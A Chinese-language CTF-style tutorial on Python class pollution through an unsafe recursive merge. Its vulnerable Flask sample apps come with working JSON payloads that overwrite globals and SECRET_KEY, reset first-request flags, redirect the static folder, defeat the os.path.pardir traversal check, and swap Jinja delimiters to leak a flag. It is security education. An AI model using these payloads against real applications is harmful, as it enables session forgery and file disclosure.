概要 python原型链污染和js的差不多,后者是通过键值对的方式来控制object的prototype的属性
和方法
,而前者则是是能污染类的属性
这里对应的merge函数就是python中对属性值控制的一个操作,将源参数赋值到目标参数。
然后对src中的键值对进行了遍历,然后检查dst中是否含有__getitem__
属性,以此来判断dst是否为字典。如果存在的话,检测dst中是否存在属性k且value是否是一个字典,如果是的话,就继续嵌套merge对内部的字典再进行遍历,将对应的每个键值对都取出来。如果不存在的话就将src中的value的值赋值给dst对应的key的值。
如果dst不含有getitem属性的话,那就说明dst不是一个字典,就直接检测dst中是否存在k的属性,并检测该属性值是否为字典,如果是的话就再通过merge函数进行遍历,将k作为dst,v作为src,继续取出v里面的键值对进行遍历。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 class Admin : def __init__ (self ): self .id = 'root' class Usr1 (Admin ): pass class Usr2 (Admin ): pass def merge (src, dst ): for k, v in src.items(): if hasattr (dst, '__getitem__' ): if dst.get(k) and type (v) == dict : merge(v, dst.get(k)) else : dst[k] = v elif hasattr (dst, k) and type (v) == dict : merge(v, getattr (dst, k)) else : setattr (dst, k, v) ins = Usr2() payload = { "__class__" : { "__base__" : { "id" : "no_root" } } } print (Usr1().id ) print (ins.id ) merge(payload, ins) print (Usr1().id ) print (ins.id )
注意,这里要是直接
1 2 3 4 5 6 class Admin (); id = 'root' …… print (Usr1().id )
注意我们可以污染实例,但是没办法污染对象 object
比如 merge(payload, usr1)会报错
一些类的知识 详情可以去看pyjail里面的属性
获取目标类: 上面示例我们是通过__base__
属性查找到继承的父类,然后污染到的父类中的secret参数,但是如果目标类与切入点没有父子类继承关系,那我们就无法用__base__
属性来进行对目标类的获取和污染
获取全局变量: 在函数或类方法中,我们经常会看到__init__
初始化方法,但是它作为类的一个内置方法,在没有被重写作为函数的时候,其数据类型会被当做装饰器,而装饰器的特点就是都具有一个全局属性__globals__
属性,__globals__
属性是函数对象的一个属性,用于访问该函数所在模块
的全局命名空间。具体来说就是,__globals__
属性返回一个字典,里面包含了函数定义时所在模块的全局变量。
1 2 3 4 5 6 7 8 9 10 11 12 secrets = '9dufh' def gettttt (): pass class NO : def __init__ (self ): pass print (gettttt.__globals__ == globals () == NO.__init__.__globals__)
在 Python 中,函数名本身(例如 gettttt
)表示的是一个函数对象。只有在加上括号 ()
时,才会调用这个函数。
因此,当你写 gettttt.__globals__
时,你是在访问 gettttt
函数对象的 __globals__
属性,而不是调用 gettttt
。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 from doctest import script_from_examplessecrets = '9dufh' def merge (src, dst ): for k, v in src.items(): if hasattr (dst, '__getitem__' ): if dst.get(k) and type (v) == dict : merge(v, dst.get(k)) else : dst[k] = v elif hasattr (dst, k) and type (v) == dict : merge(v, getattr (dst, k)) else : setattr (dst, k, v) def gettttt (): pass class NO : def __init__ (self ): pass class NO_secret : no = 'no_secret' ins = NO() payload = { "__init__" : { "__globals__" : { "secrets" : 'I got it!!1' , "NO_secret" : { "no" : "dont say no!!" } } } } print (NO_secret.no)print (secrets)merge(payload, ins) print (NO_secret.no)print (secrets)
import加载获取: 在简单的关系情况下,我们可以直接通过import来进行加载,在payload中我们只需要对对应的模块重新定位就可以:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 import demo payload = { "__init__":{ "__globals__":{ "demo":{ "a":4, "B":{ "classa":5 } } } } } ##demo.py a = 1 class B: classa = 2
sys模块加载获取: 在很多环境当中,会引用第三方模块或者是内置模块,而不是简单的import同级文件下面的目录,所以我们就要借助sys模块中的module属性,这个属性能够加载出来在自运行开始所有已加载的模块,从而我们能够从属性中获取到我们想要污染的目标模块:
同样是刚才的情景,因为我们已经加载过demo.py了,所以我们用sys来对里面的目标进行获取,但是存在一个问题就是,我们的payload传参的时候大概率是在它源码已有的基础上进行传参,很有可能源码中没有引入。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 import syspayload = { "__init__" :{ "__globals__" :{ "sys" :{ "modules" :{ "demo" :{ "a" :4 , "B" :{ "classa" :5 } } } } } } }
加载器loader获取: loader加载器在python中的作用是为实现模块加载而设计的类,其在importlib
这一内置模块中有具体实现。而importlib
模块下所有的py
文件中均引入了sys
模块,这样我们和上面的sys模块获取已加载模块就联系起来了,所以我们的目标就变成了只要获取了加载器loader,我们就可以通过loader.__init__.__globals__['sys']
来获取到sys模块,然后再获取到我们想要的模块。
那么我们现在的目标就变成了获取loader:
在Python中,__loader__
是一个内置的属性,包含了加载模块的loader对象,Loader对象负责创建模块对象,通过__loader__
属性,我们可以获取到加载特定模块的loader对象。
1 2 3 4 5 import mathloader = math.__loader__ print (loader)
在这个例子当中我们就能够明白,math模块的__loader__
属性包含了一个loader对象,负责加载math模块
在python中还存在一个__spec__
,包含了关于类加载时候的信息,他定义在Lib/importlib/_bootstrap.py
的类ModuleSpec
,所以可以直接采用<模块名>.__spec__.__init__.__globals__['sys']
获取到sys
模块
函数形参默认值替换: 在Python中,__defaults__
是一个元组,用于存储函数或方法的默认参数值。当我们去定义一个函数时,可以为其中的参数指定默认值。这些默认值会被存储在__defaults__
元组中。
1 2 3 4 def a (var_1, var_2 =2 , var_3 = 3 ): pass print (a.__defaults__)
所以我们就可以通过替换该属性,来实现对函数位置或者是键值默认值替换,但是前提条件是我们要替换的值是元组的形式:`
1 2 3 4 5 6 7 8 9 payload = { "__init__" : { "__globals__" : { "demo" : { "__defaults__" : (True ,) } } } }
__kwdefaults__
是以字典形式来进行收录:
1 2 3 4 5 6 7 8 9 10 11 payload = { "__init__" : { "__globals__" : { "demo" : { "__kwdefaults__" : { "shell" : True } } } } }
关键信息替换: flask密钥替换: 如果我们可以对密钥进行替换,赋值为我们想要的,我们就可以进行任意的session伪造,这里因为secret_key是在当前入口文件下面的,所以我们可以直接通过__init__.__globals__
获取全局变量,然后通过app.config[“SECRET_KEY”]来进行污染:下面用一下师傅的示范的板子
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 from flask import Flask,requestimport jsonapp = Flask(__name__) def merge (src, dst ): for k, v in src.items(): if hasattr (dst, '__getitem__' ): if dst.get(k) and type (v) == dict : merge(v, dst.get(k)) else : dst[k] = v elif hasattr (dst, k) and type (v) == dict : merge(v, getattr (dst, k)) else : setattr (dst, k, v) class cls (): def __init__ (self ): pass instance = cls() @app.route('/' ,methods=['POST' , 'GET' ] ) def index (): if request.data: merge(json.loads(request.data), instance) return "[+]Config:%s" %(app.config['SECRET_KEY' ]) app.run(host="0.0.0.0" )
这里我们并无法确定secretkey是什么,所以如果能够污染我们就可以实现任意的session伪造
1 2 3 4 5 6 7 8 9 10 11 { "__init__" : { "__globals__" : { "app" : { "config" : { "SECRET_KEY" :"Polluted~" } } } } }
_got_first_request: 用于判定是否某次请求为自Flask
启动后第一次请求,是Flask.got_first_request
函数的返回值,此外还会影响装饰器app.before_first_request
的调用,而_got_first_request
值为假时才会调用:
所以如果我们想调用第一次访问前的请求,还想要在后续请求中进行使用的话,我们就需要将_got_first_request从true改成false然后就能够在后续访问的过程中,仍然能够调用装饰器app.before_first_request下面的可用信息。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 from flask import Flask,requestimport jsonapp = Flask(__name__) def merge (src, dst ): for k, v in src.items(): if hasattr (dst, '__getitem__' ): if dst.get(k) and type (v) == dict : merge(v, dst.get(k)) else : dst[k] = v elif hasattr (dst, k) and type (v) == dict : merge(v, getattr (dst, k)) else : setattr (dst, k, v) class cls (): def __init__ (self ): pass instance = cls() flag = "Is flag here?" @app.before_first_request def init (): global flag if hasattr (app, "special" ) and app.special == "U_Polluted_It" : flag = open ("flag" , "rt" ).read() @app.route('/' ,methods=['POST' , 'GET' ] ) def index (): if request.data: merge(json.loads(request.data), instance) global flag setattr (app, "special" , "U_Polluted_It" ) return flag app.run(host="0.0.0.0" ) payload={ "__init__" :{ "__globals__" :{ "app" :{ "_got_first_request" :False } } } }
_static_url_path: 当python指定了static静态目录以后,我们再进行访问就会定向到static文件夹下面的对应文件而不会存在目录穿梭的漏洞,但是如果我们想要访问其他文件下面的敏感信息,我们就需要污染这个静态目录,让他自动帮我们实现定向
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 <html> <h1>hello</h1> <body> </body> </html> @app.route('/' ,methods=['POST' , 'GET' ] ) def index (): if request.data: merge(json.loads(request.data), instance) return "flag in ./flag but heres only static/index.html" payload={ "__init__" :{ "__globals__" :{ "app" :{ "_static_folder" :"./" } } } }
os.path.pardir: 套一下师傅的示例脚本来学习一下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 from flask import Flask,requestimport jsonapp = Flask(__name__) def merge (src, dst ): for k, v in src.items(): if hasattr (dst, '__getitem__' ): if dst.get(k) and type (v) == dict : merge(v, dst.get(k)) else : dst[k] = v elif hasattr (dst, k) and type (v) == dict : merge(v, getattr (dst, k)) else : setattr (dst, k, v) class cls (): def __init__ (self ): pass instance = cls() @app.route('/' ,methods=['POST' , 'GET' ] ) def index (): if request.data: merge(json.loads(request.data), instance) return "flag in ./flag but heres only static/index.html" app.run(host="0.0.0.0" )
我们进行目录穿梭进行访问发现报了500的错误:这个地方就是模板渲染的时候,防止目录穿梭进行的一个操作,而我们的os.path.pardir恰好是我们的..所以会进行报错,所以我们如果把这个地方进行修改为除..外的任意值,我们就可以进行目录穿梭了。
1 2 3 4 5 6 7 8 9 10 11 payload={ "__init__" :{ "__globals__" :{ "os" :{ "path" :{ "pardir" :"," } } } } }
Jinja语法标识符:
我们在学习SSTI的时候,语法标识符\{\{\}\}是解析jinja语法重要的一个东西,那么我们能不能对这个东西进行修改呢:在Jinja的文档中,提到了对Jinja环境类的相关属性问题,文档中提到说,如果此类的实例未共享并且尚未加载模板的话,我们就可以修改此类的实例
而师傅在文章中又提到了对Flask底层的一个研究,就是在Flask中使用的Flask类的装饰器以后,jinja_env方法实现了上述的功能点:
我们跟进下create_jinja_environment()函数,发现jinja_env
方法返回值就是Jinja
中的环境类:jinja_environment = Environment
,所以我们可以直接采用类似Flask.jinja_env.variable_start_string = "xxx"
来实现对Jinja
语法标识符进行替换
1 2 3 4 5 6 7 #templates/index.html <html > <h1 > Look this -> [[flag]] <- try to make it become the real flag</h1 > <body > </body > </html >
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 from flask import Flask,request,render_templateimport jsonapp = Flask(__name__) def merge (src, dst ): for k, v in src.items(): if hasattr (dst, '__getitem__' ): if dst.get(k) and type (v) == dict : merge(v, dst.get(k)) else : dst[k] = v elif hasattr (dst, k) and type (v) == dict : merge(v, getattr (dst, k)) else : setattr (dst, k, v) class cls (): def __init__ (self ): pass instance = cls() @app.route('/' ,methods=['POST' , 'GET' ] ) def index (): if request.data: merge(json.loads(request.data), instance) return "go check /index before merge it" @app.route('/index' ,methods=['POST' , 'GET' ] ) def templates (): return render_template("test.html" , flag = open ("flag" , "rt" ).read()) app.run(host="0.0.0.0" )
我们想要通过{{flag}}的话,就需要将语法标识符进行替换,这里我们就将语法标识符从{{}},替换为[[]]这样的话,[[flag]]就能够像{{flag}}一样被解析了。
1 2 3 4 5 6 7 8 9 10 { "__init__" : { "__globals__" : { "app" : { "jinja_env" :{ "variable_start_string" : "[[" ,"variable_end_string" :"]]" } } } }
注意:
但是在Flask框架当中,他会对模板文件编译后进行一定的缓存,下次再需要渲染的时候,直接使用缓存里面的模板文件,这样的话我们修改后语法标识符里面的flag变量并没有被放到缓存当中,所以没有自动填充flag,所以我们需要在Flask启动以后先输入payload再访问路由,这样就可以做到先污染再访问模板